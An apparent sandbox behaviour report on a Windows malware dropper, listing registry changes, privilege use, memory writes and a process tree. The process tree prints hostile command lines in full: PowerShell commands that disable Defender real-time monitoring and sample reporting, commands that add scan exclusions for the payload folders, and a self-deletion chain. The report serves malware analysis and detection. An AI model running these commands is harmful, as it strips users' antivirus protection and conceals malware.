\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\SplashScreen Set value (str) \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CachePrefix MicrosoftEdge.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C414548CC3098124D97E31A29BF7FD26\Version = "16777216" msiexec.exe Key created \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\ExtensionI MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VendorId = "0" MicrosoftEdge.exe -
Processes:
Wed15df815461c5872.exe271B.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43 Wed15df815461c5872.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 0f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d432000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 Wed15df815461c5872.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa62000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 Wed15df815461c5872.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43 271B.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 271B.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5c000000010000000400000000080000190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa604000000010000001000000087ce0b7b2a0e4900e158719b37a893722000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 271B.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 62 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 131 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
SmartClock.exepid process 4264 SmartClock.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exepowershell.exeWed15c6a30186c4a.tmpWed15c401857ac1a.exeWed15aae49c0ba16b.exeWerFault.exepoweroff.tmppid process 3192 powershell.exe 3192 powershell.exe 3172 powershell.exe 3172 powershell.exe 3172 powershell.exe 3192 powershell.exe 3192 powershell.exe 3192 powershell.exe 3172 powershell.exe 3172 powershell.exe 2200 Wed15c6a30186c4a.tmp 2200 Wed15c6a30186c4a.tmp 2396 Wed15c401857ac1a.exe 2396 Wed15c401857ac1a.exe 5004 Wed15aae49c0ba16b.exe 5004 Wed15aae49c0ba16b.exe 5080 WerFault.exe 5080 WerFault.exe 5080 WerFault.exe 5080 WerFault.exe 5080 WerFault.exe 5080 WerFault.exe 5080 WerFault.exe 5080 WerFault.exe 5080 WerFault.exe 5080 WerFault.exe 5080 WerFault.exe 5080 WerFault.exe 5080 WerFault.exe 5080 WerFault.exe 5080 WerFault.exe 5080 WerFault.exe 5080 WerFault.exe 5080 WerFault.exe 5080 WerFault.exe 5080 WerFault.exe 5080 WerFault.exe 5080 WerFault.exe 5080 WerFault.exe 5080 WerFault.exe 2192 poweroff.tmp 2192 poweroff.tmp 2416 2416 2416 2416 2416 2416 2416 2416 2416 2416 2416 2416 2416 2416 2416 2416 2416 2416 2416 2416 2416 2416 -
Suspicious behavior: MapViewOfSection 7 IoCs
Processes:
Wed15aae49c0ba16b.exetoolspab3.exeMicrosoftEdgeCP.exe90C4.exepid process 5004 Wed15aae49c0ba16b.exe 2320 toolspab3.exe 5320 MicrosoftEdgeCP.exe 5320 MicrosoftEdgeCP.exe 5320 MicrosoftEdgeCP.exe 5320 MicrosoftEdgeCP.exe 4556 90C4.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
Wed159885289d58013.exeWed15c1d9b8f438.exeWed15df815461c5872.exeWed15f83eb77d.exepowershell.exepowershell.exeWed152cd6ec17d.exetaskkill.exesvchost.exePowerOff.exetkools.exeWed15c401857ac1a.exeWerFault.exedescription pid process Token: SeCreateTokenPrivilege 1552 Wed159885289d58013.exe Token: SeAssignPrimaryTokenPrivilege 1552 Wed159885289d58013.exe Token: SeLockMemoryPrivilege 1552 Wed159885289d58013.exe Token: SeIncreaseQuotaPrivilege 1552 Wed159885289d58013.exe Token: SeMachineAccountPrivilege 1552 Wed159885289d58013.exe Token: SeTcbPrivilege 1552 Wed159885289d58013.exe Token: SeSecurityPrivilege 1552 Wed159885289d58013.exe Token: SeTakeOwnershipPrivilege 1552 Wed159885289d58013.exe Token: SeLoadDriverPrivilege 1552 Wed159885289d58013.exe Token: SeSystemProfilePrivilege 1552 Wed159885289d58013.exe Token: SeSystemtimePrivilege 1552 Wed159885289d58013.exe Token: SeProfSingleProcessPrivilege 1552 Wed159885289d58013.exe Token: SeIncBasePriorityPrivilege 1552 Wed159885289d58013.exe Token: SeCreatePagefilePrivilege 1552 Wed159885289d58013.exe Token: SeCreatePermanentPrivilege 1552 Wed159885289d58013.exe Token: SeBackupPrivilege 1552 Wed159885289d58013.exe Token: SeRestorePrivilege 1552 Wed159885289d58013.exe Token: SeShutdownPrivilege 1552 Wed159885289d58013.exe Token: SeDebugPrivilege 1552 Wed159885289d58013.exe Token: SeAuditPrivilege 1552 Wed159885289d58013.exe Token: SeSystemEnvironmentPrivilege 1552 Wed159885289d58013.exe Token: SeChangeNotifyPrivilege 1552 Wed159885289d58013.exe Token: SeRemoteShutdownPrivilege 1552 Wed159885289d58013.exe Token: SeUndockPrivilege 1552 Wed159885289d58013.exe Token: SeSyncAgentPrivilege 1552 Wed159885289d58013.exe Token: SeEnableDelegationPrivilege 1552 Wed159885289d58013.exe Token: SeManageVolumePrivilege 1552 Wed159885289d58013.exe Token: SeImpersonatePrivilege 1552 Wed159885289d58013.exe Token: SeCreateGlobalPrivilege 1552 Wed159885289d58013.exe Token: 31 1552 Wed159885289d58013.exe Token: 32 1552 Wed159885289d58013.exe Token: 33 1552 Wed159885289d58013.exe Token: 34 1552 Wed159885289d58013.exe Token: 35 1552 Wed159885289d58013.exe Token: SeDebugPrivilege 2372 Wed15c1d9b8f438.exe Token: SeDebugPrivilege 4752 Wed15df815461c5872.exe Token: SeDebugPrivilege 4824 Wed15f83eb77d.exe Token: SeDebugPrivilege 3192 powershell.exe Token: SeDebugPrivilege 3172 powershell.exe Token: SeDebugPrivilege 2208 Wed152cd6ec17d.exe Token: SeDebugPrivilege 688 taskkill.exe Token: SeDebugPrivilege 3020 svchost.exe Token: SeDebugPrivilege 3040 PowerOff.exe Token: SeDebugPrivilege 2008 tkools.exe Token: SeDebugPrivilege 2396 Wed15c401857ac1a.exe Token: SeRestorePrivilege 5080 WerFault.exe Token: SeBackupPrivilege 5080 WerFault.exe Token: SeDebugPrivilege 5080 WerFault.exe Token: SeShutdownPrivilege 2416 Token: SeCreatePagefilePrivilege 2416 Token: SeShutdownPrivilege 2416 Token: SeCreatePagefilePrivilege 2416 Token: SeShutdownPrivilege 2416 Token: SeCreatePagefilePrivilege 2416 Token: SeShutdownPrivilege 2416 Token: SeCreatePagefilePrivilege 2416 Token: SeShutdownPrivilege 2416 Token: SeCreatePagefilePrivilege 2416 Token: SeShutdownPrivilege 2416 Token: SeCreatePagefilePrivilege 2416 Token: SeShutdownPrivilege 2416 Token: SeCreatePagefilePrivilege 2416 Token: SeShutdownPrivilege 2416 Token: SeCreatePagefilePrivilege 2416 -
Suspicious use of FindShellTrayWindow 5 IoCs
Processes:
Wed15c6a30186c4a.tmppoweroff.tmpinstaller.exepid process 2200 Wed15c6a30186c4a.tmp 2192 poweroff.tmp 2644 installer.exe 2416 2416 -
Suspicious use of SetWindowsHookEx 4 IoCs
Processes:
MicrosoftEdge.exeMicrosoftEdgeCP.exepid process 2416 1260 MicrosoftEdge.exe 5320 MicrosoftEdgeCP.exe 5320 MicrosoftEdgeCP.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
ac526dac15bde2bd49b9fd467c730e3b.exesetup_install.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exedescription pid process target process PID 3944 wrote to memory of 1724 3944 ac526dac15bde2bd49b9fd467c730e3b.exe setup_install.exe PID 3944 wrote to memory of 1724 3944 ac526dac15bde2bd49b9fd467c730e3b.exe setup_install.exe PID 3944 wrote to memory of 1724 3944 ac526dac15bde2bd49b9fd467c730e3b.exe setup_install.exe PID 1724 wrote to memory of 2196 1724 setup_install.exe cmd.exe PID 1724 wrote to memory of 2196 1724 setup_install.exe cmd.exe PID 1724 wrote to memory of 2196 1724 setup_install.exe cmd.exe PID 1724 wrote to memory of 2276 1724 setup_install.exe cmd.exe PID 1724 wrote to memory of 2276 1724 setup_install.exe cmd.exe PID 1724 wrote to memory of 2276 1724 setup_install.exe cmd.exe PID 2196 wrote to memory of 3172 2196 cmd.exe powershell.exe PID 2196 wrote to memory of 3172 2196 cmd.exe powershell.exe PID 2196 wrote to memory of 3172 2196 cmd.exe powershell.exe PID 2276 wrote to memory of 3192 2276 cmd.exe powershell.exe PID 2276 wrote to memory of 3192 2276 cmd.exe powershell.exe PID 2276 wrote to memory of 3192 2276 cmd.exe powershell.exe PID 1724 wrote to memory of 3748 1724 setup_install.exe cmd.exe PID 1724 wrote to memory of 3748 1724 setup_install.exe cmd.exe PID 1724 wrote to memory of 3748 1724 setup_install.exe cmd.exe PID 1724 wrote to memory of 2852 1724 setup_install.exe cmd.exe PID 1724 wrote to memory of 2852 1724 setup_install.exe cmd.exe PID 1724 wrote to memory of 2852 1724 setup_install.exe cmd.exe PID 1724 wrote to memory of 3300 1724 setup_install.exe cmd.exe PID 1724 wrote to memory of 3300 1724 setup_install.exe cmd.exe PID 1724 wrote to memory of 3300 1724 setup_install.exe cmd.exe PID 1724 wrote to memory of 4380 1724 setup_install.exe cmd.exe PID 1724 wrote to memory of 4380 1724 setup_install.exe cmd.exe PID 1724 wrote to memory of 4380 1724 setup_install.exe cmd.exe PID 1724 wrote to memory of 4108 1724 setup_install.exe cmd.exe PID 1724 wrote to memory of 4108 1724 setup_install.exe cmd.exe PID 1724 wrote to memory of 4108 1724 setup_install.exe cmd.exe PID 1724 wrote to memory of 3960 1724 setup_install.exe cmd.exe PID 1724 wrote to memory of 3960 1724 setup_install.exe cmd.exe PID 1724 wrote to memory of 3960 1724 setup_install.exe cmd.exe PID 1724 wrote to memory of 520 1724 setup_install.exe cmd.exe PID 1724 wrote to memory of 520 1724 setup_install.exe cmd.exe PID 1724 wrote to memory of 520 1724 setup_install.exe cmd.exe PID 1724 wrote to memory of 656 1724 setup_install.exe cmd.exe PID 1724 wrote to memory of 656 1724 setup_install.exe cmd.exe PID 1724 wrote to memory of 656 1724 setup_install.exe cmd.exe PID 3748 wrote to memory of 828 3748 cmd.exe Wed1579d7dbd40de51.exe PID 3748 wrote to memory of 828 3748 cmd.exe Wed1579d7dbd40de51.exe PID 3748 wrote to memory of 828 3748 cmd.exe Wed1579d7dbd40de51.exe PID 1724 wrote to memory of 868 1724 setup_install.exe cmd.exe PID 1724 wrote to memory of 868 1724 setup_install.exe cmd.exe PID 1724 wrote to memory of 868 1724 setup_install.exe cmd.exe PID 3960 wrote to memory of 440 3960 cmd.exe Conhost.exe PID 3960 wrote to memory of 440 3960 cmd.exe Conhost.exe PID 3960 wrote to memory of 440 3960 cmd.exe Conhost.exe PID 1724 wrote to memory of 1036 1724 setup_install.exe cmd.exe PID 1724 wrote to memory of 1036 1724 setup_install.exe cmd.exe PID 1724 wrote to memory of 1036 1724 setup_install.exe cmd.exe PID 4108 wrote to memory of 1120 4108 cmd.exe Wed157ff15767131.exe PID 4108 wrote to memory of 1120 4108 cmd.exe Wed157ff15767131.exe PID 4108 wrote to memory of 1120 4108 cmd.exe Wed157ff15767131.exe PID 1724 wrote to memory of 1184 1724 setup_install.exe cmd.exe PID 1724 wrote to memory of 1184 1724 setup_install.exe cmd.exe PID 1724 wrote to memory of 1184 1724 setup_install.exe cmd.exe PID 1724 wrote to memory of 1328 1724 setup_install.exe cmd.exe PID 1724 wrote to memory of 1328 1724 setup_install.exe cmd.exe PID 1724 wrote to memory of 1328 1724 setup_install.exe cmd.exe PID 520 wrote to memory of 1456 520 cmd.exe Wed15c6a30186c4a.exe PID 520 wrote to memory of 1456 520 cmd.exe Wed15c6a30186c4a.exe PID 520 wrote to memory of 1456 520 cmd.exe Wed15c6a30186c4a.exe PID 4380 wrote to memory of 1552 4380 cmd.exe Wed159885289d58013.exe
Processes
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵
-
C:\Windows\system32\wbem\WMIADAP.EXEwmiadap.exe /F /T /R2⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Suspicious use of SetThreadContext
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies registry class
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵
- Drops file in System32 directory
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵
-
C:\Users\Admin\AppData\Local\Temp\ac526dac15bde2bd49b9fd467c730e3b.exe"C:\Users\Admin\AppData\Local\Temp\ac526dac15bde2bd49b9fd467c730e3b.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\setup_install.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed1579d7dbd40de51.exe3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed1579d7dbd40de51.exeWed1579d7dbd40de51.exe4⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im Wed1579d7dbd40de51.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed1579d7dbd40de51.exe" & del C:\ProgramData\*.dll & exit5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im Wed1579d7dbd40de51.exe /f6⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 66⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed15596ebd6461e52.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed15596ebd6461e52.exeWed15596ebd6461e52.exe4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed15596ebd6461e52.exe"5⤵
-
